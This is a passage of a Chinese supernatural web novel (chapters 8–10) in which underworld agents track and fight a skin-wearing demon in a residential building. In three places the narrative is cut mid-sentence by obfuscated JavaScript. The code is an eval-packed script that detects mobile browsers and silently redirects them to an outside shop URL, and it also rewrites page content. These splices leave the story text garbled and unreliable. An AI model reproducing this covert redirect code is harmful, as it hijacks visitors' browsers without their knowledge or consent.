周骏驰趁着火焰掩护，快速移动到乔林身侧，将黄符扔至半空，口中开始念念有词。 黄符化作一簇幽蓝火苗，周骏驰用手指朝女鬼一指，黄符在空中划过一道弧线，精准贴在女鬼肩头。 随着“滋啦”一声，女鬼身体瞬间被火焰包裹，在烈焰中发出一声凄厉的嘶鸣，黑发带动整个车厢一并开始剧烈地颤抖。 火焰燃尽的瞬间，无数黑烟开始从女鬼七窍向外涌出，透过地铁的缝隙，涌向门外无尽的黑暗中。 黑烟消散后，王彤彤的身体里逐渐分解成无数浅黄色的小光点，朝着空中飘去。 “谢谢你。”黑暗中，一个温柔的女声轻轻说道。 “啊！”随着不知道哪传来的一声惊呼。 眼前的王彤彤，瘫倒在了地上，没了呼吸。 乔林回过神来时，已经站在了人潮拥挤的地铁里，空气中是早餐、香水与人的呼吸混合的味道。 一米开外，像是细菌培养皿里滴了一滴青霉素一般，人群自动地让出了一个圈，圆圈的中央正是倒地不起的王彤彤。 “喂，你好，是救护车吗？这里是地铁一号线……” 车厢里有好心人拨通了救护车的电话。 但是乔林知道，人已经救不回来了。 “王彤彤还能重新投胎吗？”乔林看了看周骏驰。 周骏驰摇了摇头，回答说：“她的灵魂已经被撕成了碎片。” 乔林咬住嘴唇，想着刚才听到的那声谢谢你，王彤彤……应该是个很温柔的女孩子。 “众生皆苦，她也算是从六道轮回中解脱了。”周骏驰看出了乔林的失落，安慰她说。 乔林报以感激的微笑，问道：“那我们的任务完成了？” “还没，这只是恶鬼的一个傀儡，我们杀了他的一个傀儡，他很快就能再做一个。” 乔林心里一沉，要尽快抓到那只恶鬼，不然还会有更多的人受害。 “我们杀了他的傀儡，是不是就代表我们行踪已经暴露了？”乔林问。 “S市的城隍系统是最完善的，本身也具备抓捕低等恶鬼的能力，所以也不一定，但是接下来我们还是要小心行事。” 两人朝着宏达机械厂宿舍走去，一路上乔林的脑海里反复回忆着五号楼几位邻居的脸。 “你觉得会是谁？”乔林看着周骏驰的侧脸。 他并有没回答，只是若有所思地看着天空，乔林也抬起头，只见原本还透着些微光的天空，不知何时已被厚重的乌云彻底笼罩。 “要下雨了，快回家吧。”周骏驰拉起乔林，向家的方向走去。 谢必安瘫坐在沙发上，杂乱的长发在脑后挽成一个髻，可能是脸上沾了些灰污的缘故，使得原本清俊的面容，此时看起来竟有些楚楚可怜。 “回来了？” “给钱吧。”周骏驰朝谢必安勾了勾手指。 “什么钱？”乔林问道。 “周扒皮和我打赌，这个恶鬼现在已经不知能做一个傀儡了。”谢必安从地府通上，将赌输的业绩点转给了周骏驰。 “这业绩点还能当钱用？”入职的时候由于急着出门，好多事情也没来得及问清楚，她仅仅被告知业绩点是用于投胎时的考核。 “嗯呢，这算是地府的通用货币，”谢必安扬了扬下巴，“除此之外，业绩点还和你的能力挂钩，业绩点越高你的能力就越强。” “类似于修仙小说里的灵力？挣业绩点就等于修行？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136021|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢必安想了想，回答：“你这么类比倒是也不错，但是业绩点的适用范围要宽泛的多。” “那这业绩点要怎么挣啊？”乔林想着取取经。 “这你应该问他啊，”谢必安指了指周骏驰，“这可是资本家的强项。” “闭嘴吧你，我的方法未必适用乔林，”周骏驰将手中的杯子扔向谢必安，被对方接在了手里，“你不是和那个娴女关系不错吗，回去可以介绍她认识。你那边战况如何？” 谢必安从瘫坐的姿势变成了躺倒，“对付个傀儡小爷还是绰绰有余的，不过也得承认，它的能力确实比五百年前多少有点进步。” “看来对付本尊恐怕还得用点手段。”周骏驰说。 “你那边有什么发现？”谢必安问。 “说起来比较复杂，边看边说吧。”周骏驰拿出手机搜索管头村，然后将屏幕上显示的信息轻轻一划，立体的管头村村貌便像全息投影一样出现在了三人面前。 “管头村位于向岚路和永信北大街的十字路口，但位置十分隐蔽。”周骏驰将画面放大，“他的东侧和南侧分别是两个住户密集的高层小区，其中一个是商品房，一个是这个村子之前拆迁的回迁房，留下的这块地多数是钉子户，后来开发商就放弃了开发管头村剩下的土地。” “剩下的管头村住户不是穷就是横，因为心存怨怼，经常去这两个小区搞破坏，或者感谢偷鸡摸狗的勾当，”周骏驰将画面放大至小区与管头村交接的地方，“所以小区和村子之间就砌起了一堵高墙还拉了电网，想要进村就只能从西边和北边进入。” “可是这对恶鬼有用吗？”乔林问道。 “首先，电流对恶鬼是有克制作用的，我们常说天打雷劈，雷不也是电的一种吗？”周骏驰耐心地解释，“其次，恶鬼化身人形是要受皮囊的束缚的，行动上会极大的受限，如果他是以真身进入村子的，那在城隍那里会第一时间收到消息。” “那他杀人的时候需要现真身吗？”乔林继续问道。 “需要，但是它应该是打了个时间差。城隍收到信息再赶到现场，它已经跑了。”谢必安回答。 周骏驰继续说，“管头村的北边是S市最大的农贸市场，一直从路口延伸到旁边的小区，但是市场的后门可以直接进村，这个村子的西门就在马路上。我调出了这两个门附近当天的全部监控录像，找找有没有我们的邻居们。” “先来看西门从五点到六点的。”周骏驰边说边调出了视频。 这个时间段因为还没有到上班的时间，仅有几个卖早饭的和遛狗的进出，并没有这栋楼的邻居。 “下面是北门，菜市场门口的监控。” 衣食住行，食虽然排在了第二位，但是却是这四个当中最重要的，人可以不穿衣服，但是不能不吃饭。 所以即便是这个城市还没有真正的睡醒，五点的菜市场门口也已经开始了它的一天。 乔林认真地盯着屏幕，生怕错过一个细节，只是这人还能看清楚，车里就不好说了。 但是很快，她就发现了一个熟悉的身影。 “暂停，是她！” 8. 包饺子 五点三十八分，对门老太太的身影出现在了屏幕上，只见她拎着一个买菜的篮子颤颤巍巍地走进了菜市场，六点零五又拎着满满一篮子菜走了出来。 “时间刚好对得上。” “也可以当做线索，你和谢必安去看一看。” “你有事情？”谢必安问。 “我约了赵红吃饭，”周骏驰轻描淡写得给出了一个爆炸性的回答，“我先走了，快迟到了。” 乔林瞪大了眼睛看着谢必安。（怎么个意思？） 谢必安摊摊手。（我哪知道？） 周骏驰没有理会这两个哑剧演员，径直开门走了出去。 “我们干活他约会？”乔林愤怒地指了指大门。 “资本主义的享受都是建立在无产阶级的劳动上的，干活吧你。” 乔林长叹一声，问道：“就没有什么法器能测一测吗？让我心里有个底。” “这栋楼鬼气都爆表了，测谁谁都有问题好吧，”谢必安翻了个白眼，“况且法器也不是萝卜白菜，随便就能掏出来两个三个的。” “别看在人间知名度挺高的，能力倒是很一般嘛。”乔林揶揄道。 “那你自己去好了。”谢必安微微一笑。 “对不起，我错了。”能屈能伸方为大丈夫，乔林瞬间滑跪。 两人来到老太太家门口。 “敲门。”谢必安指使道。 “你怎么不敲？”乔林小声咕哝着说。 “谁让你是新来的，赶紧的。” 乔林不情愿的敲了敲门，又赶紧站到了谢必安的身后，她真怕门一开，一张大嘴直接把她吞进肚子，也不是没这个可能。 这是那种老式的防盗门，外面一层是带有栅栏的不锈钢材材质，内里就是一扇木门。 随着木门缓缓打开，老太太的脸出现在闪着寒光的不锈钢栅栏后。 “你是？” “邻居，对门，我们见过，我叫乔林。”乔林紧张地搓了搓手。 “哦哦对了，我想起来了，”老太太边说打开了外面的门，“有什么事儿吗？” “上次您给我们送的粽子，特别好吃，内个，为了感谢您，我们买了果篮。”乔林拿出事先准备好的果篮。 “太客气了，进来吧，我正在包饺子，一起来吧？” “那打扰了，怎么称呼？”乔林当然知道她叫什么，但是这时候还是要象征性的问一下，要是不小心说走了嘴直接叫出了人家的名字，也是一件不太好解释清楚的事情。 “我姓孙，邻居们都喊我孙姨，就说年龄的话，其实我都够当你奶奶了。” 孙姨咧嘴笑了笑，让嘴里仅剩的几颗牙齿也出来见了见光。 乔林在门口换拖鞋，抬眼却见正前方一张灰白的脸似笑非笑地看着自己。 她吓得哆嗦了一下，险些又坐倒在地上。 再细看，是一张老人的遗照被摆在客厅的中央正对着入户门。 这…… “这是我老伴，比我先走两年。”孙姨看出了乔林的疑惑，解释道，“活着的时候没什么用，死了倒是帮了大忙。” “死了怎么还能帮忙？”乔林的心提了起来，难不成这老太太还会用什么还魂术？ “说来话长了，原本他的遗像在那个房间，”孙姨指了指乔林身后的一间北向的小卧室，“有一回我大扫除，就把他的遗像放在了客厅里，谁能想到，偏巧那天家里来了小偷。” “嗯嗯。”乔林听得很认真。 “我就听见外面有人叫了一声，出来的时候，大门开着，人早跑没影了，只剩下地上的一把水果刀。” “肯定是老爷子的在天之灵在保佑您。” “什么灵不灵的，人死灯灭，就什么都没有了。” 乔林笑而不语，她死前也是这么认为，但如今很多事，如果不是自己亲眼见着了，无论别人怎么说，都是不会相信的。 再看老爷子的遗像，那抹笑意似乎更深了，遗像前是当季的水果，看着很新鲜，应该是刚摆上去的样子。 孙姨把和好的面和拌好的饺子馅端到了客厅的餐桌上，两人一边包饺子一边聊着天，谢必安在一旁看电视。 本应该剑拔弩张的气氛不知道怎么的还逐渐温馨了起来。 “孙姨，您在这儿住了多少年了？”乔林想不管是不是她，打探点信息总归是正确的。 “少说得有二十年了，这栋楼刚盖好我们就住进来了。” “哦，那真是时间不短了，这些邻居都是老邻居吗？” “一楼有一户自己住的小伙子，他从小在这儿长大的，原本一家三口搬到别的地方去了，这两年他又自己搬回来了。” “那其他人家都是最近才搬来的吗？” “最近啊……”孙姨想了想，“好像只有那个妖里妖气的女人是才搬过来的，其他人都住了有段时间了。” “哦……” 说到妖里妖气的女人，应该就是那个赵红了，她现在应该已经开始和周骏驰约会了吧。 明知道那个赵红有家室，这周骏驰也太大胆了，没想到他居然是这种人，果然男人没有一个好东西。 这么想着，乔林忽然觉得心里有点别别扭扭的，像是一张干净的白纸落在地上又被人踩了一脚。 这短暂的心事让乔林暂时的从对于老太太是不是恶鬼的恐惧中稍微解脱了片刻，直到门外突然响起了敲门声。 乔林不由自主地打了个哆嗦，心说大意了，这生死关头的时候怎么还有心思想这个。 “谁啊？” “我，慧芳。” “哦，慧芳啊，等一下啊。” 孙姨起身开门，出现在门口的是401的“包租婆”，对，是叫慧芳，张慧芳。 “你们对门在你们家呢吗？”张慧芳朝门里张望着。 乔林和谢必安警惕地对视了一眼。 “对，在呢，怎么了？”孙姨回头朝屋子里喊了一声，“小乔，有人找你。” “来了，”乔林从门里探出头，“有事？” “是，挺不好意思的，我家电视今天不知道怎么的，总是显示什么未连接，你看我们这岁数也大了，这东西我们也搞不明白，还得找你们年轻人帮忙。”张慧芳满脸堆笑，语气中带着些讨好的意味，倒是冲淡了些她身上“河东狮”的气质。 “你咋知道我在孙姨家的？”乔林问道。 张慧芳先是一愣，随后指了指门口的鞋。 “看见你的鞋了。” “嗯……”乔林拿不定主意，虽说她主观上非常不想和恶鬼共处一室，但是客观上又觉得扔下谢必安一个人确实又不太地道，“我儿子今天也在，要不……” “没事妈妈，你去吧，我自己在奶奶家等你回来。” 屋内传来了谢必安稚嫩的声音。 听到这话，张慧芳长出了一口气，赶紧拉着乔林“谢谢、感谢”地说个没完。 “那好吧。”既然谢必安都发话了，她还有什么理由不脚底抹油呢？ 可乔林边穿鞋边隐约觉得哪里不太对劲，没等她往深里想，就被张慧芳连拉带拽的带到了四楼。 开门的是张慧芳的老公。 乔林见着这个形容猥琐的中年男人先是愣了一下，心说，名单里有这么号人吗？ 她仔细了回忆了一遍，张慧芳确实是有个老公，但是眼前这个人…… 乔林将眼前这个人和脑海里的照片重叠，五官没有出入，是他，只是这气质简直是千差万别。 无论是照片还是生死籍，刘懒汉都是个老实巴交的农民形象，三棍子打不出一个屁来，整天就知道喝闷酒的那种中年男人。 而眼前这个人看起来却猥琐至极，好像你要是打他一巴掌，他能顺势舔一口你手心。 这不对。 萦绕在乔林心头的不适感再度袭来，不对不对，刚才张慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136022|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芳上楼的时候她只听到了一次敲门声，如果她敲了503的门，她在501不可能一点都没有听见。 一般人即便是看到了门口的鞋子，也理应先敲一敲正主家的门，不在家再另做打算，而张慧芳直截了当的敲响得是孙姨家的门，她如何那么笃定乔林就在孙姨家？ 其次，这栋楼上的年轻人不止她一个，作为老住户来说，无论其中哪一个的关系应该都比乔林和她更熟悉。 难道这张慧芳两口子也已经被做成了傀儡，支开我是为了分散他们的战斗力？ 好在是既然她下来了，起码能把这两个人牵制住，楼上的谢必安也能心无旁骛地对付那恶鬼。 乔林打起来百分之一百二的精神，决定先探探这龙潭虎穴。 401和孙姨家格局一样，是一套西边户的小三室，看起来住了有些年头了，虽然打扫的算干净，但是有一种说不出的腐败的味道，不知道是不是因为梅雨季节，天气总是潮湿的缘故。 而且奇怪的是，每间卧室的门都闭得紧紧的，这再一次印证了乔林的猜想。 如果真的是那么讲究边界感的人，恐怕也不会这么轻易地邀请陌生人来家里了吧。 “真是麻烦你了。” “哪里哪里，都是邻里邻居的。” “我做几个拿手菜，一会儿说什么也要赏脸留下吃一点儿。” “那我就不客气了。” 张慧芳把遥控器交到了乔林的手里就继续去厨房忙活，乔林拿在手里装模做样的摁了几下。 沙发上的刘懒汉笑眯眯地看着乔林，那黏腻的眼神，就像是高中男生运动后的袜子，贴在身上，恶心得人直想吐，乔林赶紧借口帮忙，跑进了厨房。 厨房的工作也到了收尾的阶段，菜基本已经炒好了，乔林将菜端上桌，几人落座。 菜色倒是很不错，油焖大虾，丸子汤，蚝油生菜，红烧肉…… 只是不管这菜有多好，不是人做的，乔林也实在不敢入口，况且旁边还一个贼眉鼠眼盯着自己的刘懒汉。 而一旁的张慧芳就像没看见一样，自顾自絮絮叨叨地说着自己的女儿。 乔林借故上厕所，既然饭不能吃，干脆考察考察敌情，看看紧闭的门内到底藏着什么秘密。 张慧芳执意要带乔林过去，说怕她找不到灯在哪儿，乔林进门后，更是在门口守着，寸步不离。 关上厕所门，乔林闻到了一股恶臭，当然，厕所本身就不是什么香地方，但是这股味道还是有点臭得离奇，乔林吸着鼻子，想找到臭源。 闻了一圈，臭味来自吊顶里面，她四下看了看，除了马桶好像没有什么能踩的东西。 乔林拿着马桶搋子踩在马桶上，试图用搋子顶开一块吊顶，看看天花板里到底藏了什么。 吊顶是很普通的集成吊顶，30乘30的尺寸，按理说轻轻一顶就能顶开，但此刻在吊顶上，似乎有什么东西在向下用力，或者说吊顶上有什么重物，堵在了上面。 当然乔林也不是吃素的，活着的时候为了省钱，都是她自己打水，又是住在老旧的步梯房，30多斤的水桶搬上六楼是常有的事。 她拿着搋子用力向上一捅，只听“嘣咚”一声，堵在上面的重物，似乎掉到了旁边的吊顶上，门外的张慧芳似乎也听到了声音，问道，“小姑娘，怎么啦？需不需要帮忙啊？” 阿姨的声音此时听来又尖又细，有种说不上来的阴森感，乔林的心提到了嗓子眼。 见乔林不搭话，紧接着就是锁拧动的声音。 “没事阿姨，我闹肚子，实在太臭了，真不好意思。您快回去吃饭吧，不用管我。”乔林赶紧回答，生怕晚说一秒，张慧芳就要开门进来了。 听着门外没再说话，乔林再次抬头，这一抬头不打紧，乔林吓得头皮爆炸，用尽了这辈子的胆量才没有喊出声。 透过吊顶的缝隙，乔林看到上面一只没有眼皮的眼睛，正死死地盯着自己。 9. 恶鬼现身 乔林抻长脖子咽了口口水，这才将提到嗓子眼儿的心脏放回了胃里。 没事，我已经死了，最不济大家都是鬼，有什么好怕的，乔林安慰自己。 而吊顶上那位在乔林胶着的目光中仍是一动不动地看着她，乔林确定了，这大概是一具尸体，一具被剥了皮的尸体。 想必他的魂魄也和那王彤彤一样，被撕碎了封在这破破烂烂的身体里。 乔林不害怕了，只觉得悲从中来，暗下决心一定（尽自己所能）要抓住那个该死的杀千刀的恶鬼。 她还原了吊顶，强装镇定地洗了洗手，边洗手边觉得这厕所哪里似乎不太对劲。 打开了门，不出所料，阿姨此刻正站在门口守着。 “阿姨，我刚才闹肚子，好像不小心弄在了裤子上，能不能借你女儿件衣服穿穿？” 是的，这个理由显然很拙劣，但是此情此景，乔林也实在编不出更好的理由了。 “你在这儿等着我给你拿去。” “别了不麻烦了，我自己找一件换了得了。” 不等张慧芳说话，乔林就推开了离她最近的一扇卧室门。 门内漆黑一片，客厅的光打进去，隐约可以看到屋内的一切装饰，床单、窗帘这些都是血红色，不知是不是视觉带来的效果， 乔林的鼻子似乎也闻到一股腥臭的血味。 房间正中央的大床上躺着一个人，血红的被单一直盖到脸，只是看形状能分辨出是个人，乔林猜测，恐怕这就是女儿了。 这狗娘养的还真是一个不留。 床边是一个梳妆台，梳妆台上的镜子不知去了哪里，乔林这才意识到，刚在厕所究竟是哪里不对，他家洗手池上竟然没有镜子。 乔林想起姥姥给自己讲过一件事，说她小时候有一次中元节前后，乔林晚上偷偷跑出去玩，天快亮了才回来，回来之后就开始发烧，浑浑噩噩，像是丢了魂一般，吃什么药也不管用。 姥姥就带着她去隔壁村子找一个看香的婆婆，婆婆说是她的魂被路过的野鬼带走了，好在没走远，然后就拿出了一面镜子，放在乔林面前，然后开始叫乔林的名字，叫了约莫十余声，乔林的眼神就逐渐地清明了起来，烧也慢慢退了。 乔林对这段经历没有什么印象，她只记得从那时起她总做一个相同的梦，梦里总有个皮肤雪白的大姐姐，在她周围向她招手，不管乔林问她什么，她都只是微笑着，一句话也不说。 恐怕是怕这傀儡看到自己的模样会失去控制。 紧接着乔林感到手腕一阵钻心的痛，张慧芳的手像一把铁钳一般，箍在了她的手腕上，一把把她从房间里拉了出来。 “来吃阿姨做的饭，不要东跑西跑的，我家女儿不喜欢别人动她的东西，她回来见了要发脾气的哦。” 乔林疼得一点脾气也没有，只得再次坐在餐桌前，听阿姨叨叨她的女儿。乔林寻思着还是晚了一步，她的心里有种说不出的挫败感，好端端的人啊…… 乔林感觉手上一凉，不觉间色老头的手竟直接摸了上来，那冰凉滑腻的触感，像是某种海底生物或者动物的舌头（冷冰冰版），乔林像触电一般一把甩开了。 动作幅度之大，连同面前的盘子碗也一并甩在了地上，噼里啪啦碎了一地，而一旁的张慧芳，也竟如同没有看到一般，仍在那里边说边吃着。 乔林站起身，将手中的筷子对着老头，朝门退去。 “别跑了，过来吧，一点也不疼的。”老头张嘴说话了，那声音嘶哑暗沉的犹如来自地下。 “我不光要跑我还要喊呢！救命啊！”乔林大声喊道。 “别喊了，你喊破喉咙也不会有人来救你的。” 眼前的这人，不，现在已经不能用人这个字来形容了，只见这怪物说话间的嘴竟越张越大，甚至嘴角处也撕开了两道深深的裂痕，看得乔林嘴角发痛。 裂开的嘴角显然已经不能完美贴合身体，这躯体竟像是不合身的衣服一般，在衔接处出现了一坨坨的皱褶。 乔林顿感不妙，这和她上次见的傀儡可不太一样，倒像是正主。 “那他杀人的时候需要现真身吗？” “需要，但是它应该是打了个时间差。城隍收到信息再赶到现场，它已经跑了。” 谢必安的话响彻乔林的脑海，再看看眼前这像蛇蜕皮一样的家伙，乔林知道自己是遇见正主了。 显然是眼前这怪物杀了这家人，又穿上了男主人的人皮，而这张慧芳的三魂七魄恐怕也早就进了他的肚子。 再想想王彤彤，乔林恨不得立马砍死眼前这个怪物，但她也清楚的知道自己的弱小。 如今之计，最好能把这怪物拖到救援来，只是依靠她目前的能力别说拖住了，能不能逃跑都是个未知数。 这怪物此时已经剥落了一半的皮肤，露出上半身血肉模糊的躯体，血管像青紫色的蚯蚓，爬满了他的躯干，薄薄的血管壁似乎下一秒就要爆裂开来。 随着皮肤的逐渐剥落，他爽快地扭了扭脖子，似乎对此刻的轻盈显得非常满意。 眼前的饭菜也变成了腐烂的死老鼠和虫子，而更为诡异的是，阿姨竟还在那里一边喋喋不休地说着，一边将虫子塞进了嘴里。 还吃什么啊吃！乔林一把把桌子掀翻，把那些老鼠虫子的，全倒在血人的身上，趁机向门口跑去。 但是血人哪会给她机会，一挥手抓住了乔林的衣服，乔林使出了吃奶的劲儿极力挣脱。 伴随着衣服的撕裂声，乔林逃脱了魔爪。 咚咚咚，门外敲门声响起，听在乔林耳中，简直是犹如仙乐一般动听。 虽然她离门很近，但她也不敢背过身去开门，只得一只手举着筷子，另一只手藏在身后。 她目不转睛地盯着眼前血人，好在对方并没有急着来抓乔林，而是试图将下半身的人皮也一点点褪下，不知是这身人皮穿久了，还是这身皮的主人想要帮乔林一把。 人皮紧紧地粘在血人的身上，他一边拽，一边愤怒地吼叫着。 乔林借这个空当，开始摸索背后的门把。 就在她摸到门把的一瞬间，血人也挣脱了束缚，像弹簧一样朝乔林扑来，速度快得连手都来不及抬。 完了，乔林心如死灰。 可就在这千钧一发之际，他脖子上的项链突然像蛇一般，朝着血人缠了过去，啊，原来周骏驰给我留了法宝，这让乔林害怕之余，稍稍多了一丝感动。 她也趁这个空当试图将门打开，可不管怎么拧，怎么拉，门都像被死死焊住了一般，纹丝不动。 眼见血人就要挣脱项链的束缚了，怎么办？她观察了一下四周的情况，既然门出不去，那不如就从窗户跑，摔死总比被吃了强。 这什么破法宝，坚持了不到五分钟！你这让别的法宝怎么看你？我对你期待可是很高的！ 站在窗户边的乔林向下望去，不想却看到了比血人更可怕的一张脸，乔林的血液此刻都凝固了。 眼前是长发紧紧地包裹着的一张惨白的，没有五官的脸，正漂浮在窗外。 “乔林……”白脸缓缓叫出了乔林的名字。 这熟悉的声音……乔林在心里掐了掐自己的人中，真是不被吓死也被气死了。 “你怎么每次都……”乔林扶了扶额头，”你穿这个干什么？” “我穿工作服怎么了？”谢必安反驳道，但是现在显然不是和他斗嘴的好时机。 “周骏驰呢？”乔林赶紧问道，谢必安用手指了指上面，乔林把脑袋探出窗户，看到了侧身站在楼上窗台上的周骏驰，他脚踩在墙上，一手抓着栏杆。 喧嚣的晚风吹动了周骏驰的头发，明月也成了他的背景。这一幕让乔林想到了名侦探柯南里的怪盗基德。 “闪开！”周骏驰对乔林喊道。 乔林连忙转身，在窗口为窗外的二人让出了一条通道。 随着哗啦一声，周骏驰踹碎玻璃跳了进来。 原本弓着背准备扑向乔林的血人，看到来人，浑身肌肉猛地一僵，显然感受到来自周骏驰身上的压迫感，喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周骏驰似乎对此早有预判，几乎在血人动的瞬间便侧身冲了过去，手臂用力一甩，缠在掌心的腰带如长鞭般抽向血人的后背。 “啪”的一声脆响，长鞭狠狠砸在血人身上，与之接触的地方，金光四溅，犹如打铁花一般，在血人的身上留下了一道似烙铁烫过一般的深深的焦痕。 血人吃痛地嘶吼一声，他明白了，不解决周骏驰恐怕这“美食”就吃不进嘴里，随即转身就朝周骏驰扑来，残破的指甲直逼他的喉咙，爬满青筋的脸因疼痛显得格外狰狞。 周骏驰微微侧身，躲过了血人的蓄力一击，利爪擦着他的衣角划过，在墙壁上抓出三道深可见骨的沟壑。 但那血人的速度快得几乎看不清，乔林只觉眼前一花，那血人便再次冲向了周骏驰。 这怪物不仅动作迅猛狠厉，每一次扑击、腾跃都伴随着全身溃烂皮肤的剧烈震颤，黏稠的黑血夹杂着细碎的腐肉毫无章法地四处飞溅。 周骏驰既要分心闪避其的攻势，又要时刻提防飞溅的剧毒血珠，局面陷入被动。 见双方打得焦灼，乔林在一旁帮不上忙急得直跺脚。 血人此刻打得游刃有余，就难免又有些心猿意马，再次将一只眼珠子朝向了乔林。 这一对视，乔林心里一哆嗦。 “看哪儿呢。”周骏驰也不是吃素的，一鞭子抽在了对方的面门上，趁对方捂脸的同时又闪至其身后，一脚狠狠踩在血人背上，将它按死在了地板上，鞋底与血人的皮肤接触的地方升起了一股浓浓的烧焦的味道。 见血人挣扎着想要起身，周骏驰双手抻紧长鞭，顺势缠上它的脖子，用力一勒，长鞭上的符文闪着金光，像烙铁一般在血人的皮肤上熨烫着，发出了犹如烤肉一般的“滋滋”声，血人疯狂扭动身体，想伸手去拽这鞭子，可刚碰到鞭子就被烫得冒起白烟，皮肤也粘连到了一起。 就在乔林以为大功告成之时，血人却突然猛地弓背，不顾脖子上的灼烧，张开嘴朝着乔林猛喷一口浓黑恶臭的液体！ 那液体带着黏稠的拉丝，在空中划过一道弧线，以迅雷不及掩耳盗铃之势朝乔林飞来。 10. 黑云沙地狱 乔林慌忙向旁边躲闪，可那黏液竟像有生命般，在乔林躲开的瞬间分散成一片，眼见就要喷射到乔林的身上。 周骏驰“啧”了一声，当机立断抽出了套在血人脖子上的长鞭。 只是以周骏驰的腰围来算，这段距离显然是不太够用。 乔林本已经做好了被灼烧的准备，紧闭双眼，将双臂挡在脸前，但随着“兹拉”声的响起，乔林并没有感觉到身上哪里疼。 是这血人准头不行？还是说这粘液造成的是内伤？ 睁开眼，眼前是周骏驰的后背，他站在灯光下，乔林在他遮蔽的阴影下，安然无恙。 乔林直起身，血人吐出的黏液大部分被周骏驰的鞭子甩到了地板上，地板被腐蚀出了大大小小的洞，甚至直接穿透了地板，这水泥石灰在黏液的面前，竟如同打发的蛋白。 她赶紧看向周骏驰，他的身上也未能幸免，黏液迅速地腐蚀掉了他的衣服，破烂的衣服下面是一片血肉模糊，乔林的眼泪瞬间掉了下来。 为什么受伤的不是我这种没用的废物！ “你、你受伤了！” 周骏驰见状摆了摆手，目光死死锁着天花板上的血人，声音带着一丝隐忍的沙哑：“别分心，敌人还在。” 血人见周骏驰受伤更是肆无忌惮，准备再次朝着更靠近的乔林扑来。 周骏驰起身甩出了长鞭，血人忌惮地向后退了两步，踌躇地原地跺脚。 “跳！”周骏驰一声令下。 她一点也不犹豫，听到指令后，立刻爬出窗户。 妈的，摔死就摔死，大不了再投一次胎，也好过拖别人后腿最后大家一起完蛋，两眼一闭直接挑了下去。 滞空的瞬间，乔林的五脏六腑仿佛失去了依托，耳边除了风的喧嚣，什么都听不见了。 下一秒，乔林感觉自己就像是撞在了一堵软和和的墙上，这就完事儿了？ 乔林睁开眼，咫尺间，是周骏驰的侧脸，他不是在屋里？是怎么瞬间出现在这里的？ 她赶紧低头看向周骏驰受伤的腹部，伤口已经好了大半，只是新长出的皮肉还有些泛红，乔林的心里又多少好受了一些。 只是夏天衣服本就单薄，周骏驰的衣服也被腐蚀了大半，皮肉相贴，周骏驰身上有种形容不出的好闻的味道，直往乔林鼻子里钻。 “色”字头上一把刀，说得可不仅仅是女人。 乔林摇了摇头，迫使自己在这紧要关头赶紧从男色中清醒过来。 下一秒，身后玻璃破碎的声音响起，血人穷追不舍，也一并跳了出来。 三人前后落地，血人先下手为强，朝着还未站稳的两人扑来。 乔林抬头望向周骏驰，却见他嘴角露出一抹正中下怀的笑，接着随着一种从头到脚的拉扯感，乔林和周骏驰站在了三层楼高的半空中，旁边飘着的是半天没见的谢必安。 血人起身的瞬间，地面瞬间浮现出一张图案复杂的阵法，像牢笼一般将血人包裹其中。 旁边的谢必安将手中的平安钟朝上一抛，念念有词，那钟晃晃悠悠地来到了阵法的正上方，而后瞬间变得巨大，散发着犹如太阳一般庄严的让人不敢直视的光辉。 被这个光辉似一个笼子般罩着的血人，伴随着他的挣扎一点点地收紧。 就在平安钟马上便要将血人降伏之时，忽见一道红光如针一般扎进了那片金光中，噗的一声，挣扎中的血人瞬间变成了一团血雾。 那阵法扑了个空，也消失不见了，只留下地面上几片打转的树叶。 乔林有些不太明白，刚才看来，这平安钟本像是一种捉鬼的道具，怎的突然就把鬼消灭了呢？ 她转头看向身后的周骏驰，却见周骏驰此时正在与谢必安对视，两人的目光里有着同样的忧虑。 “血人被我们干掉了吗？”乔林问。 “嗯。”周骏驰只是含混地答了一声。 “这个确定就是那个千年恶鬼吧？” “嗯。”这次周骏驰的声音倒是十分坚定。 “那孙姨是傀儡吗？赵红呢？对了，你不是和赵红约会去了吗？怎么会出现在这儿？” “你这问题也太密集了吧。”周骏驰无奈地笑了笑，“孙姨不是傀儡，赵红……也不是。我们三个必须要分开，如果我们总是在一起，敌人又怎么有下手的机会呢。” “所以你们知道谁是恶鬼？”乔林觉出了不对劲，质问道。 “差不多。”谢必安理所应当地回答道，倒显得乔林的问题有点蠢了。 “所以就我不知道了？” “谁知道你的演技怎么样？万一露馅了怎么办？” 入职的时候你们也没要求会演戏啊？现在跟我说这个？ “我们既然是一个团队，就要相互信任，以后有事情希望你们能提前和我说清楚。” 乔林看着周骏驰，周骏驰没有回答她。 一阵晚风撩起了他身上的破衣服，露出了结实的肌肉，和身上因为保护乔林而留下的点点红斑。 本来因为被隐瞒而有些生气的乔林此刻也冷静了下来，算了，他们有他们的考量。 说到底还是自己不够强，与其抱怨对方不信任自己不如积蓄力量，成为一个更可靠的队友。 “你们怎么知道他就是那千年恶鬼的？” “因为来找你的，一定是恶鬼。” 